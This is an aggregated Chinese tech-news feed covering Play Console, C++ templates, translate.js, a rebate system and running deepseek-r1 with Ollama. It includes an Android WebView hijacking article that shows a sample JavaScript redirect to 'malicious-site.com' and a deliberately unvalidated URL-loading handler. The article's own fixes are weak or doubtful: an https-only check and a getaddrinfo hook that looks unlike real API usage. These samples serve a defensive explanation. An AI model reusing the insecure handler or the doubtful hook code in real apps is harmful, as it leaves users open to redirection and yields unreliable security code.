2. Monitor and improve

Ratings and reviews

单击 Ratings and reviews,子菜单Reviews,即可查看用户对应用的评价打分数据。

image.png

Android vitals

单击 Android vitals,子菜单Crashes and ANRs,即可查看应用的崩溃和无响应数据。

image.png

Policy and programs

单击 Policy and programs,子菜单Policy status,即可查看应用是否有政策上的问题需要解决。

image.png

App content

单击 App content,子菜单Actioned,即可查看(测试账号、金融申明、数据安全、敏感权限、广告ID、健康App、政府App、新闻App、目标、内容分级、广告、隐私政策)相关模块。

image.png

3. Grow users

Store listings

单击Store listings,即可查看应用的应用名称、简短说明、完整说明、上架置顶大图、上架截图等相关信息。 当前关于商店详情可以支持设置多个了。

image.png

Store settings

单击Store settings,即可查看应用的分类、联系邮箱、号码、官网等相关信息。

image.png

4. Montetize with Play

最后是关于结算、支付相关的。

image.png

by 出海小纸条 at January 26, 2025 04:23 AM

Android WebView 中网页被劫持的原因及解决方案

在 Android 应用开发中,WebView 是一个常用的组件,用于在应用内显示网页内容。然而,有时用户可能会发现网页被劫持到另一个不安全的网页。这种情况不仅影响用户体验,还可能带来安全隐患。本文将探讨导致网页被劫持的可能原因,并提供相应的解决方案。

一、原因分析

  1. JavaScript 重定向 某个网页中包含以下 JavaScript 代码:

    window.location.href = "http://malicious-site.com";
    

    这段代码会在页面加载时将用户重定向到恶意网站。

  2. 恶意网页

    用户点击了一个链接,访问了一个看似正常的网站,但该网站实际上是一个钓鱼网站,包含重定向代码,试图引导用户输入敏感信息。

  3. WebView 设置不当

    开发者在 WebView 中未设置 WebViewClient,导致 WebView 默认行为是打开所有链接,而不是在应用内处理。这可能导致用户被重定向到外部浏览器,增加了被恶意网站劫持的风险。

  4. 拦截 URL 加载

    shouldOverrideUrlLoading 方法中,开发者没有正确处理 URL,例如:

    @Override
    public boolean shouldOverrideUrlLoading(WebView view, String url) {
        // 没有验证 URL,直接加载
        view.loadUrl(url);
        return true;
    }
    

    这可能导致用户被重定向到不安全的网站。

  5. 广告或跟踪脚本

    某些网页可能嵌入了广告或跟踪脚本,这些脚本会在用户访问时自动重定向到广告商的网站,甚至可能是恶意网站。

  6. 中间人攻击

    在公共 Wi-Fi 网络中,攻击者可能通过中间人攻击拦截用户的网络请求,并将其重定向到恶意网站,伪装成合法网站。

  7. DNS 劫持

    用户的 DNS 请求被劫持,导致访问某个合法网站时,实际上被重定向到攻击者控制的 IP 地址。例如,用户输入 www.example.com,但由于 DNS 劫持,实际访问的是 malicious-site.com

二、解决方案一览

为了减少网页被劫持的风险,开发者可以采取以下措施:

  • 使用 HTTPS:确保访问的网页使用 HTTPS,这样可以减少中间人攻击的风险。

  • 验证 URL:在 shouldOverrideUrlLoading 方法中,验证即将加载的 URL,确保它是安全的。

  • 禁用 JavaScript:如果不需要 JavaScript,可以考虑禁用它,减少潜在的重定向风险。

  • 使用安全的 WebView 设置:确保 WebView 的设置是安全的,例如启用安全的内容加载策略。

  • 监控网络请求:使用网络监控工具,查看 WebView 中的网络请求,识别潜在的恶意重定向。

  • 使用安全的 DNS:考虑使用安全的 DNS 服务(如 DNS over HTTPS),以减少 DNS 劫持的风险。

三、解决方案代码案例

以下是针对解决方案中提到的每个措施的代码案例,以帮助开发者更好地理解如何在 Android WebView 中实现这些安全措施。

3.1 使用 HTTPS

确保加载的网页使用 HTTPS。可以在加载 URL 前进行检查:

private void loadUrl(WebView webView, String url) {
    if (url.startsWith("https://")) {
        webView.loadUrl(url);
    } else {
        // 提示用户或处理不安全的 URL
        Toast.makeText(context, "不安全的链接,无法加载!", Toast.LENGTH_SHORT).show();
    }
}

3.2 验证 URL

shouldOverrideUrlLoading 方法中验证即将加载的 URL:

@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
    if (isSafeUrl(url)) {
        view.loadUrl(url);
    } else {
        // 提示用户或处理不安全的 URL
        Toast.makeText(context, "不安全的链接,无法加载!", Toast.LENGTH_SHORT).show();
    }
    return true;
}

private boolean isSafeUrl(String url) {
    // 这里可以添加更复杂的 URL 验证逻辑
    return url.startsWith("https://") || url.startsWith("http://trusted-site.com");
}

3.3 禁用 JavaScript

如果不需要 JavaScript,可以在 WebView 设置中禁用它:

WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(false); // 禁用 JavaScript

3.4 使用安全的 WebView 设置

确保 WebView 的设置是安全的,例如启用安全的内容加载策略:

webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_NEVER_ALLOW); // 禁止混合内容
webSettings.setDomStorageEnabled(true); // 启用 DOM 存储

3.5 监控网络请求

使用 WebViewClient 监控网络请求,识别潜在的恶意重定向:

webView.setWebViewClient(new WebViewClient() {
    @Override
    public void onPageStarted(WebView view, String url, Bitmap favicon) {
        super.onPageStarted(view, url, favicon);
        // 监控页面加载
        Log.d("WebView", "Loading URL: " + url);
    }

    @Override
    public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) {
        super.onReceivedError(view, request, error);
        // 处理加载错误
        Toast.makeText(context, "加载错误: " + error.getDescription(), Toast.LENGTH_SHORT).show();
    }
});

3.6 使用安全的 DNS

在 Java 层,DNS 解析由 AddressCache 管理。当未命中缓存时,会调用 Libcore.os.android_getaddrinfo 方法进行域名解析。通过阅读源码发现,解析逻辑由 libc.so 中的 getaddrinfo 方法实现,而 WebView 中的域名解析逻辑也是通过 libwebviewchromium.so 调用这个底层方法。

为了优化 DNS 解析,我们可以使用 inline hook 的方式(具体方案可以参考 ShadowHook)来 hook getaddrinfo 方法。这样可以先查询我们维护的缓存,再进行相应的优化和兜底处理。

以下的示例,展示了如何使用 ShadowHook 来 hook getaddrinfo 方法:

import com.github.shadowhook.ShadowHook;

public class DnsHook {
    public static void hookGetAddrInfo() {
        ShadowHook.hook("libc.so", "getaddrinfo", new ShadowHook.HookCallback() {
            @Override
            public Object invoke(Object... args) {
                String hostname = (String) args[0];
                // 查询自定义缓存
                String cachedIp = queryCustomDnsCache(hostname);
                if (cachedIp != null) {
                    // 返回缓存的 IP 地址
                    return cachedIp;
                }
                // 调用原始的 getaddrinfo 方法
                return ShadowHook.callOriginal(args);
            }
        });
    }

    private static String queryCustomDnsCache(String hostname) {
        // 实现自定义 DNS 缓存查询逻辑
        return null; // 返回 null 表示未命中缓存
    }
}

四、案例深入分析

4.1 问题

用户点击链接A,会跳转到不良网站链接B。这个问题在用户手机上必现。

4.2 分析

  1. 因为用户在任何网络环境都能复现,怀疑是用户android端的系统DNS解析被劫持了。 验证方法:android端打开华佗诊断的DNS检测页面,发现解析结果为空。在其他浏览器打开链接A,也不会调整到链接B。说明系统的DNS解析没有被劫持。

    检测页面链接:itango.tencent.com/app/data/hu… 在这里插入图片描述

  2. 通过抓包工具分析,发现没有A域名的请求包。虽然界面上打开的是链接A,但是实际上Webview直接发起了B的请求。 通过这一点,怀疑是Webview缓存了之前在某个网络环境下的DNS解析结果,默认跳转到了链接B。

    其中抓包工具使用的是:Reqable

    下载链接是:reqable.com/zh-CN/andro… image.png

  3. 删除应用的【缓存】(不需要清除数据),用户恢复正常。验证了确实是Webview在应用沙箱中缓存了解析结果。

五、结论

在 Android WebView 中,网页被劫持的情况可能由多种因素引起,包括 JavaScript 重定向、恶意网页、设置不当等。通过采取适当的安全措施,开发者可以有效降低这些风险,保护用户的浏览体验和数据安全。确保在开发过程中关注这些潜在的安全隐患,将有助于提升应用的整体安全性和用户信任度。

by 陆业聪 at January 26, 2025 04:02 AM

oschina news project

xc-union 多平台返利系统 v1.0.1 发布

v1.0.1 版本内容:

  • 集成大淘客美团接口;
  • 美团券数据输出展示。

系统特点

  • 支持主流电商平台返利对接
  • 开箱即用

技术架构

  • Java 后端:master 分支为 JDK 8 + Spring Boot 2.7.18
  • 后端采用magic-api多模块架构
  • 数据库使用 MySQL

演示环境

本地访问

开发环境要求

  • JDK: 8+
  • Maven: 3.9+
  • 模板引擎:enjoy
  • MySQL: 5.7+

部分功能展示

引用场景:

美团商品列表

商品列表

个人社区模式商品列表

商品列表

商品列表

商品列表

物料搜索升级版

物料搜索升级版

获取短连接

获取短连接

获取淘口令

获取淘口令

多多进宝商品查询

多多进宝商品查询

多多进宝商品详情查询

多多进宝商品详情查询

by 来源: 投稿 at January 26, 2025 03:08 AM

JS 网页全自动翻译 v3.13 发布,增加对 Pig、管伊佳 ERP 等开源适配

两行 js 实现 html 全自动翻译。 无需改动页面、无语言配置文件、无 API Key、对 SEO 友好!

升级说明

  1. translate.js 针对 管伊佳ERP 的适配优化,修复 translate.selectLanguageTag.render() 在找不到body元素时会报错的bug
  2. translate.js 针对 Pig 的适配优化,增加翻译执行时的并发机制,同一时刻只允许执行一个翻译操作,避免多次翻译同时进行造成浏览器卡顿及翻译接口并发提高被禁
  3. translate.js 全面优化翻译执行生命周期的判定,对翻译进行中跟执行完毕的状态进行更精准捕获处理
  4. translate.js 增加 translate.executeNumber 参数,用来记录 translate.execute() 方法已经被执行过多少次了, 只有 translate.execute() 完全执行完,也就是界面渲染完毕后,它才会 +1  
  5. translate.js 如果采用了  translate.whole.enableAll(); 整体翻译,并且使用的是 translate.service 翻译通道,则自动采用翻译结果文本段落首字母大写
  6. translate.js 增加企业级通道key的设置,主要针对打包为APP的使用场景
  7. translate.js 修复 edge 模式下post请求的bug
  8. translate.service 中,translate.json 接口 增加 lowercase 参数的传入,用于定义翻译内容是全小写形式,还是段落首字母大写形式
  9. tcdn 大幅优化资源占用,使其可以在 1核0.5G内存的云服务器流畅运行。
  10. tcdn 优化子域名短网址访问的设置支持,并增加 /mnt/tcdn/language.json 用于可自定义某个语言访问的子域名
  11. tcdn 接口中增加清除某个源站的缓存规则的能力
  12. tcdn 全面优化对静态资源的判定
  13. tcdn 增加 SiteSet.conversionOutsideHyperlink 可自定义控制是否对站外连接进行虚拟化
  14. tcdn 增加异步任务机制,可以多线程异步自动获取源站的页面并自动进行执行翻译任务。
  15. tcdn 增加缓存规则的自定义配置及自动刷新缓存的能力
  16. tcdn 增加缓存多线程自动刷新能力,配合自定义缓存规则,可自动刷新指定页面,并且增加hash码对比,如果源站相对于未发生变化,则不进行翻译,降低翻译html接口的调用。
  17. tcdn 部署好后,访问ip会出现对必要参数配置的自检,如果有未配置的参数,则会出现相应参数提示并出现指引配置链接
  18. tcdn-admin 增加新版本自动更新的能力
  19. tcdn-admin 增加启动完成后,会自动打开浏览器 127.0.0.1:8080 页面,而无需再手动输入

在线体验

http://res.zvo.cn/translate/demo.html

快速使用

在你的网页最末尾, </html> 之前,加入以下代码,会在页面的最底部出现选择语言的标签:

<script src="https://cdn.staticfile.net/translate.js/3.12.0/translate.js"></script>
<script> translate.language.setLocal('chinese_simplified'); //设置本地语种(当前网页的语种)。如果不设置,默认就是 'chinese_simplified' 简体中文。 可填写如 'english'、'chinese_simplified' 等,具体参见文档下方关于此的说明。 translate.service.use('client.edge'); //设置机器翻译服务通道,直接客户端本身,不依赖服务端 。相关说明参考 http://translate.zvo.cn/43086.html translate.execute(); //进行翻译  </script>

开源适配

如果您有开源项目,比如文档、cms、UI 框架、后台管理框架、等等,需要采用此进行多语言切换,欢迎喊我,传统i18n工作量太大,每次更新也容易遗漏,而translate.js是您最佳的选择,我们无偿提供全程接入讨论及遇到的问题跟随优化,希望我们的开源项目能互相产生作用一起越来越好。
2024年结束,我们码云仓库托管也已突破 1k star ,已有巨量的用户用它来替代传统 i18n,以下单位已接入并进行使用,提供参考:

by 来源: 投稿 at January 26, 2025 01:40 AM

January 25, 2025

juejin article

【C/C++】重学C++模板机制——从反汇编代码入手

热身:从一个链接问题看函数模板的本质

抛出问题

假设我们有一个main.cc,其代码内容如下:

template <typename T>
T add(T a, T b);

int main() {
    int a = 1;
    int b = 2;
    int c = add(a, b);
}

template <typename T>
T add(T a, T b) {
    return a + b;
}

毫无疑问,这段代码肯定是能够编译成功和运行的。

现在,我们将add模板函数的实现源码移动到另外一个文件test.cc中,并尝试用g++分别编译这两个代码文件,并链接成一个完整的可执行文件。你觉得这能成功吗?

很遗憾,我们在链接的这一步失败了:

image.png

为什么会这样呢?

解开困惑

我们先检查一下main.o的反汇编代码。可以看到在main函数中会尝试调用另外一个函数,很显然它应该就是我们所关心的add函数。但该函数的偏移地址(在0x25处)却为空,说明在main.cc中应该是没有关于该函数的实现代码的,需要在链接阶段从其他.o文件中找到该函数的实现代码,并重新确定此处的函数偏移地址。

image.png

main.o中的符号表和待链接符号信息也印证了这一点:

image.png

这里我们还可以用c++filt(GNU Binutils中的一个工具),来解码这个g++编译器生成的函数签名:

image.png

由此可见g++编译器对main.cc的处理是完全符合我们的直觉和预期的:在main函数中调用int add<int>(int, int)这个模板实例化之后得到的函数。但由于模板函数在该cc文件中只有声明却没有定义,因此int add<int>(int, int)这个函数需要在编译阶段才能被找到。

现在让我们把目光转向test.o。按我们的直觉和预期,我们应该期望能够在该文件中找到int add<int>(int, int)这个模板实例化后的函数的代码。

然而现实是残酷的:

image.png

test.o的代码段空空如也,符号表中也没有任何函数签名,说明编译器在生成test.o时压根没对模板函数进行实例化。

现在我们再来看看编译器为一开始那段代码所生成的.o文件。从图中可见,在编译阶段虽然函数调用的偏移地址还无法确定,但模板实例int add<int>(int, int)的代码已经被成功生成了。

image.png

接下来,经过链接器处理,函数偏移地址被最终确定下来,并被填充到call指令所在的地方:

image.png

另一种解决方案

除了强行将函数模板的定义和使用该模板实例的程序代码放置在一起(或者,至少你应该将前者完整地写进头文件里,然后让后者引用)这种做法,C++中还提供了一种让程序员显式地要求编译器进行模板实例化的功能。

例如,我们可以将test.cc修改如下:

template <typename T>
T add(T a, T b) {
    return a + b;
}

// 强制要求编译器在生成test.o时进行模板实例化
template int add<int>(int, int);

现在你再试试看编译和链接,应该就不会报错了。

总结

总结一下这个热身问题带给我们的结论:

函数模板的本质是在编译阶段,根据程序代码中提供的类型信息,对函数模板进行实例化(即生成一份特定的汇编代码,用来处理特定的类型)。

重学:函数模板

函数模板的重载问题

C++中的函数模板机制具有高度的灵活性,但这样同时也会导致许多令人困惑的现象。

这部分内容我建议你只作简单了解,而没有记忆C++编译器处理函数模板重载详细规则的必要。你只需要在阅读别人代码并碰到类似坑点的时候,知道可能需要往这个方向排查就行了。

函数模板与函数模板重载

看个例子感受一下:

#include <iostream>

// Template 1
template <typename T>
T add(T a, T b) {
    std::cout << "I'm template 1." << std::endl;
    return a + b;
}

// Template 2
template <typename T1, typename T2>
T1 add(T1 a, T2 b) {
    std::cout << "I'm template 2." << std::endl;
    return a + b;
}

int main() {
    int a = 1;
    double b = 3.14;

    // Example 1
    // Compile Error: no instance of function template "add" matches the argument list
    // std::cout << add(a,b) << std::endl;

    // Example 2
    // Output: I'm template 2.
    std::cout << add<int>(a, b) << std::endl;

    // Example 3
    // Output: I'm template 1.
    std::cout << add<int>(b, a) << std::endl;
}

Example1无法通过编译,这没什么好说的了吧,而Example2/3就令人有些困惑了。

Example2的道理在于template2中的T2会被自动推导成double,因此相比于template1的实例会少掉一次对实参的类型转换。编译器认为这样是更合理的。

而Example3就显得比较匪夷所思了,因为无论选择template1还是2,都需要对第一个实参进行一次类型转换,看上去没啥差别。。。

由此可见,C++中的函数模板重载机制是非常容易造成困惑和混乱的,我们在实际开发中应该尽量避免使用。即使要用,也应该隐式地实例化模板函数,至少这么做能够保证让C++编译器选择它认为最适合的那个模板(一般是需要对实参类型转换最少的那个)。

函数模板与普通函数重载

如下例子:

#include <iostream>

double add(int a, double b) {
    std::cout << "I'm normal function." << std::endl;
    return a + b;
}

// Template 1
template <typename T>
T add(T a, T b) {
    std::cout << "I'm template 1." << std::endl;
    return a + b;
}

// Template 2
template <typename T1, typename T2>
T1 add(T1 a, T2 b) {
    std::cout << "I'm template 2." << std::endl;
    return a + b;
}

int main() {
    int a = 1;
    double b = 3.14;

    // Example 4
    // Output: I'm normal function.
    std::cout << add(a, b) << std::endl;
}

可以看到当有普通函数和函数模板都符合函数调用语句的传参时,编译器会优先选择普通函数。不采用函数模板是因为函数模板的实例化需要额外的编译时间,并且还会增加编译产物代码段的大小。

模板特化

在函数模板的使用中,有时候会有一些通用模板处理不了的情况,除了定义普通函数外,我们还可以借助特化模板来解决。虽然普通函数看上去,但有些场景下是必须使用特化模板的。

它的形式如下:

  1. template后直接跟 <> ,里面不写类型
  2. 在函数名后跟 <> ,其中写出要特化的类型

实例:

#include <iostream>
#include <cstring>
#include <memory>

// Template 1
template <typename T>
T add(T a, T b) {
    std::cout << "I'm template 1." << std::endl;
    return a + b;
}

// Template 2
template <>
const char* add<const char*>(const char* s1, const char* s2) {
    char* ret = new char[strlen(s1) + strlen(s2) + 1]();
    strcat(ret, s1);
    strcat(ret, s2);
    return ret;
}

int main() {
    // Example 5
    auto str = add("Hello", " World");
    puts(str);
}

需要指出的是,使用模板特化前,必须要先有基础的函数模板。例如上例中的template2是对基础函数模板template1的特化。如果我们将上例中template1的代码删除,则是无法通过编译的(虽然编译器事实上并不会生成任何有关template1的代码指令)。

下面我们来看看特化模板和普通函数之间的优先级谁更高?

#include <iostream>
#include <cstring>
#include <memory>

// Template 1
template <typename T>
T add(T a, T b) {
    std::cout << "I'm template 1." << std::endl;
    return a + b;
}

// Template 2
template <>
const char* add<const char*>(const char* s1, const char* s2) {
    char* ret = new char[strlen(s1) + strlen(s2) + 1]();
    strcat(ret, s1);
    strcat(ret, s2);

    std::cout << "I'm specialized template." << std::endl;

    return ret;
}

const char* add(const char* s1, const char* s2) {
    char* ret = new char[strlen(s1) + strlen(s2) + 1]();
    strcat(ret, s1);
    strcat(ret, s2);

    std::cout << "I'm normal function." << std::endl;

    return ret;
}

int main() {
    // Example 6
    // Output: I'm normal function.
    auto str = add("Hello", " World");
    puts(str);
}

于是乎,我们得出结论,当三者都可供选择时,从优先级上讲:普通函数 > 特化模板函数 > 一般函数模板

模板参数

模板参数列表中可以填写两大类参数:

  • 类型参数:代指某种数据类型
  • 非类型参数:需要是整型数据(char/short/int/long/size_t等),不允许 是浮点型(float/double等)

类似于函数形参列表的默认值,模板参数列表中也可以为这两大类参数设置默认值。

如果某个函数模板中涉及到非类型参数,除非已为其设定了默认值,否则必须通过模板显式实例化来向编译器提供该参数。

且由于模板实例化在编译阶段完成,这意味着提供非类型参数的形式必须是整形字面量或者一个常量变量。

实例:

#include <iostream>
#include <cstring>
#include <memory>

template <typename T, int kBase>
T multiply(T a, T b) {
    return a * b * kBase;
}

template <typename T = int, int kBase = 3>
T multiply_(T a, T b) {
    return a * b * kBase;
}

int main() {

    // Compile Error!
    // std::cout << multiply(1, 2) << std::endl;
    // std::cout << multiply<int>(1, 2) << std::endl;

    std::cout << multiply<int, 3>(1, 2) << std::endl;

    std::cout << multiply_(1, 2) << std::endl;
    std::cout << multiply_<double>(1.5, 2.5) << std::endl;

    // Compile Error!
    // int n = 3;
    // multiply<int, n>(1, 2);
    
    const int n = 3;
    std::cout << multiply<int, n>(1, 2) << std::endl;
}

最后我们来看看模板参数中类型参数的优先级问题。这里我们仍然通过一个例子来理解。

template <typename T = short, typename S = int>
S multiply(T a, T b) {
    return a * b;
}

int main() {
    auto a = multiply(1.5, 2.5);
    auto b = multiply<int>(1.5, 2.5);
    auto c = multiply<double, double>(1.5, 2.5);
}

这里我们直接借助objdump和c++filt分析出来的函数签名,来考察模板实例化的情况:

image.png

image.png

以下是对这三个模板实例化结果的解释:

  1. 在这个函数模板中,S的类型是永远无法被编译器推导出来的。
  2. 第一个是隐式的模板实例化,此处编译器推导T的类型为int。显然只有在编译器推导得出类型的优先级在默认类型之上的情况下,我们才能得到int multiply<double, int>(double, double)
  3. 第二个中显式指定了T的类型为int。显然只有在程序员显式指定类型的优先级在编译器自动推导得出类型之上的情况下,我们才会得到int multiply<int, int>(int, int)
  4. 第三个中除了显式指定T之外,亦显式指定了S。显然只有在程序员显式指定类型的优先级在默认类型之上的情况下,我们才会得到double multiply<double, double>(double, double)

据此,我们可以得出结论。

函数模板中类型参数的优先级:程序员显式指定的类型 > 编译器推导出的类型 > 函数模板中的默认类型

函数模板用作类的成员变量

这没啥好说的,直接上例子:

#include <iostream>

class Point {
 private:
    int x_, y_;

 public:
    Point(int x, int y) : x_(x), y_(y) {}

    template <typename T>
    T GetX() {
        return static_cast<T>(x_);
    }

    template <typename T>
    T GetY();
};

template <typename T>
T Point::GetY() {
    return static_cast<T>(y_);
}

int main() {
    Point p(1, 2);
    std::cout << p.GetX<int>() << " " << p.GetY<int>() << std::endl;
}

从上例中的汇编代码也可以看出,作为类方法的函数模板除了是个可以访问对象this指针的方法外,与一般的函数模板并没有啥区别。在编译阶段也要进行类的实例化。

00000000000011e9 <main>:
    11e9:       f3 0f 1e fa             endbr64 
    11ed:       55                      push   %rbp
    11ee:       48 89 e5                mov    %rsp,%rbp
    11f1:       53                      push   %rbx
    11f2:       48 83 ec 18             sub    $0x18,%rsp  // 在栈上分配空间
    11f6:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    11fd:       00 00 
    11ff:       48 89 45 e8             mov    %rax,-0x18(%rbp)
    1203:       31 c0                   xor    %eax,%eax
    1205:       48 8d 45 e0             lea    -0x20(%rbp),%rax  // 计算出Point p的首地址
    1209:       ba 02 00 00 00          mov    $0x2,%edx
    120e:       be 01 00 00 00          mov    $0x1,%esi
    1213:       48 89 c7                mov    %rax,%rdi  // 将Point p的首地址存入%rdi寄存器,作为接下来函数调用的第一个参数(this指针)
    1216:       e8 eb 00 00 00          call   1306 <_ZN5PointC1Eii>  // 调用Point::Point(int, int)
    121b:       48 8d 45 e0             lea    -0x20(%rbp),%rax  // 计算出Point p的首地址
    121f:       48 89 c7                mov    %rax,%rdi  // 将Point p的首地址存入%rdi寄存器,作为接下来函数调用的第一个参数(this指针)
    1222:       e8 07 01 00 00          call   132e <_ZN5Point4GetXIiEET_v>  // 调用int Point::GetX<int>()
    后略...

这里唯一要注意的是,对于类的虚方法,是不能定义成函数模板的!!!

请你结合C++中虚方法的实现机制,解释为什么我们不能这么做?

重学:类模板

类模板是将函数模板的概念推广到了C++类上,对于经常使用STL库的我们来说,应该是非常容易理解的概念了。

这里仅给出一个例子:

stack.h:

#ifndef STACK_H_
#define STACK_H_

template <typename T, int kCapacity = 10>
class Stack {
public:
    Stack();
    ~Stack();
    bool empty() const;
    bool full() const;
    void push(const T&);
    void pop();
    T& top();

private:
    int _top;
    T * _data;
};

#endif

stack.cc:

#include "stack.h"

#include <iostream>

using namespace std;

template <class T, int kCapacity>
Stack<T, kCapacity>::Stack()
 : _top(0), _data(new T[kCapacity]()) 
{
    cout << "Stack()" << endl;
}

template <typename T, int kCapacity>
Stack<T, kCapacity>::~Stack() {
    if(_data){
        delete [] _data;
        _data = nullptr;
    }
    cout << "~Stack()" << endl;
}

template <typename T, int kCapacity>
bool Stack<T, kCapacity>::empty() const {
    return _top == 0;
}


template <typename T, int kCapacity>
bool Stack<T, kCapacity>::full() const {
    return _top == kCapacity;
}

template <typename T, int kCapacity>
void Stack<T, kCapacity>::push(const T & elem) {
    if (full()) {
        throw "The stack is full!";
    }
    _data[_top++] = elem;
}

template <typename T, int kCapacity>
void Stack<T, kCapacity>::pop() {
    if (empty()) {
        throw "The stack is empty!";
    }
    --_top;
}

template <typename T, int kCapacity>
T& Stack<T, kCapacity>::top() {
    if (empty()) {
        throw "The stack is empty!";
    }
    return _data[_top - 1];
}

template class Stack<int>;

main.cc

#include "stack.h"

#include <iostream>

int main() {
    Stack<int> stack;
    stack.push(0);
    stack.push(1);
    stack.push(2);
    while (!stack.empty()) {
        std::cout << stack.top() << std::endl;
        stack.pop();
    }
}

这里我唯一希望你注意的是,在stack.cc中我们也使用到了强制显式实例化(template class Stack<int>;)的技巧。如果删去这行代码,我们又将遭遇链接错误。

当然,在难以确定我们需要哪些模板类的实例的时候(也就是说你不确定用户在使用你的模板类的时候,会往<>里填啥东西),你也可以考虑将Stack类中的所有方法实现,一股脑地全塞进头文件里——这样总是不会出问题的。事实上,C++ STL库就是这么做的。

重学:可变参数模板

例子引入

在正式介绍可变参数模板的语法前,我们先通过一个具体的例子来引入一下。

假如让你用动态语言通过递归的方式,实现一个可以处理任意任意个数参数的sum函数,你会怎么写呢?

如果用JavaScript来写,应该会是下面这样:

function sum(first_arg, ...args) {
    return args.length > 0 ? first_arg + sum(...args) : first_arg;
}

console.log(sum(1, 2, 3, 4, 5));  // Output: 15

如果你会Python的话,那就是这样:

def sum(first_arg, *args):
    return first_arg + sum(*args) if len(args) > 0 else first_arg

print(sum(1, 2, 3, 4, 5))  # Output: 15

是不是还挺像的,哈哈哈。

下面告诉你个好消息,用C++的可变参数模板也可以写出类似的形式:

#include <cstdio>

// 递归出口:当模板参数为空时
template <typename T>
T sum(T first_arg) {
    return first_arg;
}

template <typename T, typename... Arg>
T sum(T first_arg, Arg... args) {
    return first_arg + sum(args...);
}

int main() {
    // Output: 15
    printf("%d\n", sum(1, 2, 3, 4, 5));
}

现在的问题是,不同的编程语言分别是如何实现支持接收不确定个数实参的函数的?

对于JavaScript和Python,我们不难猜到它们的函数实参列表的长度(可以装载实参的数目),应该是在某一次函数调用真正执行的阶段才被动态确定下来的。因此对于它们这种动态语言来说,实现动态参数列表的特性易如反掌。

然而,C++作为一种静态编译型语言,它为什么也能实现类似的效果呢?

还是依靠模板展开!

事实上,在编译阶段,C++编译器就能够静态推导出sum函数分别可能会接收的参数数目可能有哪些,然后根据函数模板分别生成出相应的函数代码。

关于这个结论,拖到IDA里看一眼就非常清楚了:

image.png

而函数模板中所谓的"递归调用",则本质上是让可以接收更多参数的函数,在内部去进一步调用可以接收参数更少的函数。

例如:

image.png

事实上,我们是可以直接这么写的,就像在Python或在JS中那样。不过这里的int sum()是不能被删去的,尽管它永远不会被调用。否则编译器中将抛出错误!

#include <iostream>

int sum() {
    std::cout << "I will never be executed." << std::endl;
    return 0;
}

template <typename T, typename... Arg>
T sum(T first_arg, Arg... args) {
    return sizeof...(args) > 0 ? first_arg + sum(args...) : first_arg;
}

int main() {
    std::cout << sum(1, 2, 3, 4, 5) << std::endl;
}

为什么我们不能删除毫无用处的int sum()

语法介绍

有了刚才例子的直观感受后,我们再来学习可变参数模板的语法规则,就轻松很多了。

可变参数模板和普通模板的语义是一样的,只是写法上稍有区别,声明可变参数模板时需要在typename 或 class 后面带上省略号 “...”

// 可变参数模板
template <typename ...Args>  
void func1(Args ...args);

// 普通函数模板
template <typename T1, typename T2, typename T3, typename T4, typename T5>
void func2(T1 t1, T2 t2, T3 t3, T4 t4, T5 t5);

在上面这段代码中:

  • Args叫做模板参数包,相当于将 T1/T2/T3/...等类型参数打了包。应注意,这里不同的类型是可以被打包在一起的。
  • args叫做函数参数包,相当于将 t1/t2/t3/...等函数参数打了包。

记忆:在可变参数模板的语义中,"..."写在标识符左边,表示打包

同时C++中也对sizeof关键字的功能进行了扩展,使我们可以在可变参数模板当中,获取到模板参数包/函数参数包中参数数目:

#include <iostream>

using namespace std;

template <class ...Args>//Args 模板参数包
void display(Args ...args)//args 函数参数包
{
    //输出模板参数包中类型参数个数
    cout << "sizeof...(Args) = " << sizeof...(Args) << endl;
    //输出函数参数包中参数的个数
    cout << "sizeof...(args) = " << sizeof...(args) << endl;
}

int main() {
    // sizeof...(Args) = 0
    // sizeof...(Args) = 0
    display();
    // sizeof...(args) = 5
    // sizeof...(args) = 5
    display(1, "hello", 3.3, true, 5);
}

显然,这个值也是在编译阶段进行模板展开时就被确定下来的常量。

想要从函数参数包中提取出具体的参数,最基础的方法是递归展开法,除了刚才引入阶段的sum函数,这里再为你提供一个例子:

#include <iostream>

using namespace std;

// 递归的出口
void print() {
    cout << endl;
}

// 重新定义一个可变参数模板,至少得有一个参数
template <class T, class ...Args>
void print(T x, Args ...args) {
    cout << x << " ";
    print(args...);
}

int main() {
    // 调用普通函数
    // 不会调用函数模板,因为函数模板至少有一个参数
    print();

    // 递归调用顺序:
    // print(1, "hello", 3.3, true, 5);
    // print("hello", 3.3, true, 5);
    // print(3.3, true, 5);
    // print(true, 5);
    // print(5);
    // print();
    // 
    // 最终输出:1 hello 3.3 1 5
    print(1, "hello", 3.3, true, 5);
}

记忆:在可变参数模板的语义中,"..."写在标识符右边,表示解包

需要特别指出两点:

  1. 参数包可以为空:例如在上面这个例子中,当print函数中的x为5时,参数包已变为空。
  2. 从刚才sum函数的例子中我们可以看到:程序员必须显式给出参数包被递归展开时的递归出口(即当参数包为空时的函数定义),尽管它在代码逻辑上可能永远不会被执行!

可变参数模板递归展开的递归出口方案并不是唯一的,关键在于要让编译器知道当它递归展开到的仅剩若干个参数后,递归就可以结束了。

例如下面这个例子也是可以编译成功的:

#include <iostream>

using namespace std;

// 递归的出口
template <typename T1, typename T2>
void print(T1 x, T2 y) {
    cout << x << " " << y << endl;
}

template <typename T, typename ...Args>
void print(T x, Args ...args) {
    cout << x << " ";
    print(args...);
}

int main() {
    // 递归调用顺序:
    // print(1, "hello", 3.3, true, 5);
    // print("hello", 3.3, true, 5);
    // print(3.3, true, 5);
    // print(true, 5);
    // 
    // 最终输出:1 hello 3.3 1 5
    print(1, "hello", 3.3, true);
}

应指出的是,递归的出口可以使用普通函数或者普通的函数模板,但是规范操作是使用普通函数。理由如下:

  • 我们应尽量避免函数模板之间的重载;
  • 普通函数的优先级一定高于函数模板,更不容易出错。

进一步学习可变参数模板可参考这篇文章www.cnblogs.com/qicosmos/p/…

by PAK向日葵 at January 25, 2025 06:44 PM

oschina news project

一分钟搭建私有 AI 大模型 deepseek-r1

第一步:下载安装 Ollama

Ollama:可以理解为是 docker,快速安装各种大模型,下载后一键安装

下载地址: https://ollama.com

第二步:执行命令安装 deepseek-r1

ollama run deepseek-r1:14b

这里你可以搜索自己想安装的模型,获取不同的命令

 

第三步:输入问题 AI 回答

安装完成后,提示输入信息

